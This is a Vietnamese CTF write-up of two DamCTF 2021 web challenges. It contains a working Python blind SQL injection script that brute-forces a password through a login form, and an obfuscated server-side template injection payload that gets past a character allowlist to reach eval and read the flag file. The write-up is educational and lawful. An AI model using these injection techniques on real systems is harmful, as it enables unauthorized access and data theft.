Writeup-CTF
  • CTF events
    • DamCTF-2021
    • N1CTF 2021
    • WANNAGAME CHAMPIONSHIP2021
      • After end
    • DefCamp CTF 21-22
  • Root-me
    • SQL Injection - Filter bypass
    • GraphQL
    • JSON Web Token (JWT) - Public key
    • LDAP injection - Blind
    • Python - Blind SSTI Filters Bypass
    • SQL Injection - Filter bypass
    • SQL Truncation
    • Page 1
    • [Root-me]PHP - Unserialize overflow
  • WebGoat
    • Injection
    • XXE
    • Broken Authentication
      • JWT Token
      • Password reset
    • Sensitive Data Exposure
      • Insecure login
    • Broken Access Control
      • Insecure Direct Object References
    • Cross Site Scripting (XSS)
    • Cross site request forgery
      • Cross-Site Request Forgeries
      • Server-Side Request Forgery
    • Client site
      • Client site filtering
      • Bypass front-end restrictions
      • HTML tampering
    • Insecure Deserialization
    • Vulnerable Components
    • Challenges
      • Admin lost password
      • Without password
      • Without account
Powered by GitBook
On this page
  • bouncy-box
  • super-secure-translation-implementation
  • Thank you for your reading!
  1. CTF events

DamCTF-2021

NextN1CTF 2021

Last updated 3 years ago

bouncy-box

Dạng bài: sqli

Bắt đầu challenge, chúng ta sẽ thấy một form đăng nhập:

Ở bước này, chúng ta có thể thực hiện sql injection bằng một payload đơn giản:

Thử click vào free flag, và tất nhiên không thể get flag, đời không như mer. Lại một form đăng nhập nữa mình hiện ra:

Mình thử một vài payload sqli cơ bản nhưng không có gì bất thường, có lẽ chúng ta cần phải lấy được password để đăng nhập. But how??

Câu trả lời nằm ở form đăng nhập đầu tiên, ở đây chúng ta có thể sử dụng blind sqli lên form đăng nhập đầu tiên để lấy mật khẩu:

Code cùi bắp để lấy password do mình viết:

import requests, string

url ='https://bouncy-box.chals.damctf.xyz/login'
length = 0
password=''

#Find length of password:
for i  in range(1,50):
	r = requests.post(url,data={'username_input':'boxy_mcbounce',"password_input":f"' or length(password)='{i}'#"})
	if "boxy_mcbounce's Stats" in r.text:
		length = i
		print("length of password: ",length)
		break

#Find password:
for i in range(1,length+1):
	for s in string.printable:
		r = requests.post(url,data={'username_input':'boxy_mcbounce',"password_input":f"' or substr(password,{i},1)='{s}'#"})
		if "boxy_mcbounce's Stats" in r.text:
			print(s)
			password += s
			break
print('Password: ',password)

Kết quả:

Thực hiện đăng nhập với password vừa tìm được và username là boxy_mcbounce và get flag.

Flag: dam{b0uNCE_B0UNcE_b0uncE_B0uNCY_B0unce_b0Unce_b0Unc3}

super-secure-translation-implementation

Dạng bài: SSTI

Docker file:

Theo như docker file thì chúng ta đều có thể xem được nội dung của file app.py, check.py, filters.py và limit.py

check.py:

from limit import is_within_bounds, get_golf_limit


def allowlist_check(payload, allowlist):
    # Check against allowlist.
    print(f"Starting Allowlist Check with {payload} and {allowlist}")
    if set(payload) == set(allowlist) or set(payload) <= set(allowlist):
        return payload
    print(f"Failed Allowlist Check: {set(payload)} != {set(allowlist)}")
    return "Failed Allowlist Check, payload-allowlist=" + str(
        set(payload) - set(allowlist)
    )


def detect_remove_hacks(payload):
    # This effectively destroyes all web attack vectors.
    print(f"Received Payload with length:{len(payload)}")

    if not is_within_bounds(payload):
        return f"Payload is too long for current length limit of {get_golf_limit()} at {len(payload)} characters. Try locally."

    allowlist = [
        "c",
        "{",
        "}",
        "d",
        "6",
        "l",
        "(",
        "b",
        "o",
        "r",
        ")",
        '"',
        "1",
        "4",
        "+",
        "h",
        "u",
        "-",
        "*",
        "e",
        "|",
        "'",
    ]
    payload = allowlist_check(payload, allowlist)
    print(f"Allowlist Checked Payload -> {payload}")

    return payload

filters.py

import base64


def uppercase(x):
    return x.upper()


def lowercase(x):
    return x.lower()


def b64d(x):
    return base64.b64decode(x)


def order(x):
    return ord(x)


def character(x):
    return chr(x)


def e(x):
    # Security analysts reviewed this and said eval is unsafe (haters).
    # They would not approve this as "hack proof" unless I add some
    # checks to prevent easy exploits.

    print(f"Evaluating: {x}")

    forbidlist = [" ", "=", ";", "\n", ".globals", "exec"]

    for y in forbidlist:
        if y in x:
            return "Eval Failed: Foridlist."

    if x[0:4] == "open" or x[0:4] == "eval":
        return "Not That Easy ;)"

    try:
        return eval(x)
    except Exception as exc:
        return f"Eval Failed: {exc}"

limit.py:

import time

from rctf import golf


def get_golf_limit() -> int:
    rctf_host = "https://damctf.xyz/"
    challenge_id = "super-secure-translation-implementation"
    ctf_start = 1636156800
    limit_function = lambda x: (x * 2) + 147

    limit = golf.calculate_limit(rctf_host, challenge_id, ctf_start, limit_function)
    return limit


def is_within_bounds(payload: str) -> bool:

    return len(payload) <= get_golf_limit()

Ngoài ra file docker còn cho chúng ta biết được là flag đang ở /flag

Nhìn vào file filters.py, trong hàm e chúng ta sẽ thấy sự xuất hiện của eval().

Mục tiêu của chúng ta là gọi được eval, sau đó thực hiện: open('/flag').read()

kiểm tra trong file check.py, chỉ có nhưng kí tự trong allowlist được phép sử dụng.

Nhưng trong payload của chúng ta sử dụng có những kí tự không được phép: p, n, /, f, a, g, ., r

Lúc này chúng ta có thể sử dụng hàm character trong filters để đổi từ giá trị hex sang ascii để lấy kí tự mong muốn. (Ở đây có một lưu ý là chỉ có số 6, 1, 4 là được phép sử dụng).

p = chr(112) = chr(66+46)

n = chr(110) = chr(66+44)

/ = chr(47) = chr(46+1)

f = chr(102) = chr(44+46+6+6)

a = chr(97) = chr(16*6+1)

g = chr(103) = chr(16*6+6+1)

. = chr(46)

r = chr(114)

Vậy:

open("flag.txt").read() 
'o'%2b(66%2b46)|ch%2b'e'%2b(66%2b44)|ch%2b'("'%2b(46%2b1)|ch%2b(16*6%2b6)|ch%2b'l'%2b(16*6%2b1)|ch%2b(16*6%2b6%2b1)|ch%2b'")'%2b(46)|ch%2b(114)|ch%2b'e'%2b(16*6%2b1)|ch%2b'd()'

Nhưng trong hàm e kiểm tra xem 4 kí tự đầu tiên của tham số truyền vào có phải là open hay không. Nếu là open thì việc gọi eval sẽ thất bại. Vậy nên chúng ta cần sửa đổi một tý để payload trở thành:

(open)("flag.txt").read()
'(o'%2b(66%2b46)|ch%2b'e'%2b(66%2b44)|ch%2b')'%2b'("'%2b(46%2b1)|ch%2b(16*6%2b6)|ch%2b'l'%2b(16*6%2b1)|ch%2b(16*6%2b6%2b1)|ch%2b'")'%2b(46)|ch%2b(114)|ch%2b'e'%2b(16*6%2b1)|ch%2b'd()'

Cuối cùng, gọi hàm e để call eval:

eval((open)("flag.txt").read())
('(o'%2b(66%2b46)|ch%2b'e'%2b(66%2b44)|ch%2b')'%2b'("'%2b(46%2b1)|ch%2b(16*6%2b6)|ch%2b'l'%2b(16*6%2b1)|ch%2b(16*6%2b6%2b1)|ch%2b'")'%2b(46)|ch%2b(114)|ch%2b'e'%2b(16*6%2b1)|ch%2b'd()')|e

Flag: dam{p4infu1_all0wl1st_w3ll_don3}

Thank you for your reading!